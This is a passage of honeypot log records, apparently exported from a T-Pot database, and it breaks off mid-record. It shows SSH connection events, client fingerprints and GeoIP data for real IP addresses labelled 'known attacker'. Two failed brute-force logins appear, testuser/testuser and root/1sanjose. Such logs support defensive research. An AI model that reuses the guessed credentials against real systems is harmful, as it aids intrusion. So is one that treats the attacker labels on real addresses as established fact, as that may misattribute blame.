26214	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:48.962927+03	2021-09-20 14:15:12.980647+03	{"_id": "mgbnAnwBvYTbRNuEqyCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8fbc0dcdcced", "@version": "1", "duration": 2.496142864227295, "timestamp": "2021-09-20T11:11:48.962927Z", "@timestamp": "2021-09-20T11:11:48.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26215	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:49.569447+03	2021-09-20 14:15:12.981645+03	{"_id": "qAbnAnwBvYTbRNuEriD4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57354, "timestamp": "2021-09-20T11:11:49.569447", "@timestamp": "2021-09-20T11:11:49.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26216	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:40.78784+03	2021-09-20 14:15:12.982647+03	{"_id": "zwbnAnwBvYTbRNuEih-j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 39206280527439, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49034, "dest_port": 22, "timestamp": "2021-09-20T11:11:40.787840Z", "@timestamp": "2021-09-20T11:11:40.787Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26217	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:40.788507+03	2021-09-20 14:15:12.984646+03	{"_id": "0gbnAnwBvYTbRNuEix_F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49034, "dest_port": 22, "timestamp": "2021-09-20T11:11:40.788507", "@timestamp": "2021-09-20T11:11:40.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26218	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:40.511977+03	2021-09-20 14:15:12.985645+03	{"_id": "0QbnAnwBvYTbRNuEix_F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49034, "timestamp": "2021-09-20T11:11:40.511977", "@timestamp": "2021-09-20T11:11:40.511Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26219	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:40.708778+03	2021-09-20 14:15:12.986646+03	{"_id": "1QbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [testuser/testuser] failed", "session": "41b31117fdcd", "@version": "1", "password": "testuser", "username": "testuser", "timestamp": "2021-09-20T11:11:40.708778Z", "@timestamp": "2021-09-20T11:11:40.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26220	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:41.285542+03	2021-09-20 14:15:12.987646+03	{"_id": "1gbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "ba9d8547508f", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:11:41.285542Z", "@timestamp": "2021-09-20T11:11:41.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26221	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:41.506938+03	2021-09-20 14:15:12.988646+03	{"_id": "1wbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "39e9467c2947", "@version": "1", "duration": 3.681353807449341, "timestamp": "2021-09-20T11:11:41.506938Z", "@timestamp": "2021-09-20T11:11:41.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26222	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:40.789322+03	2021-09-20 14:15:12.990644+03	{"_id": "2AbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "84cfb61ab228", "@version": "1", "timestamp": "2021-09-20T11:11:40.789322Z", "@timestamp": "2021-09-20T11:11:40.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26223	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:41.545641+03	2021-09-20 14:15:12.991645+03	{"_id": "2QbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "ba9d8547508f", "@version": "1", "timestamp": "2021-09-20T11:11:41.545641Z", "@timestamp": "2021-09-20T11:11:41.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26224	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:42.053405+03	2021-09-20 14:15:12.992646+03	{"_id": "2gbnAnwBvYTbRNuEjh-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 921115537798929, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43450, "dest_port": 22, "timestamp": "2021-09-20T11:11:42.053405Z", "@timestamp": "2021-09-20T11:11:42.053Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26225	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:41.843018+03	2021-09-20 14:15:12.993646+03	{"_id": "3wbnAnwBvYTbRNuEjx-v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43450, "timestamp": "2021-09-20T11:11:41.843018", "@timestamp": "2021-09-20T11:11:41.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26231	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:44.212125+03	2021-09-20 14:15:13.002647+03	{"_id": "AAbnAnwBvYTbRNuEmCAe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1sanjose] failed", "session": "ba9d8547508f", "@version": "1", "password": "1sanjose", "username": "root", "timestamp": "2021-09-20T11:11:44.212125Z", "@timestamp": "2021-09-20T11:11:44.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26226	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:43.032019+03	2021-09-20 14:15:12.995647+03	{"_id": "-QbnAnwBvYTbRNuElB80", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": 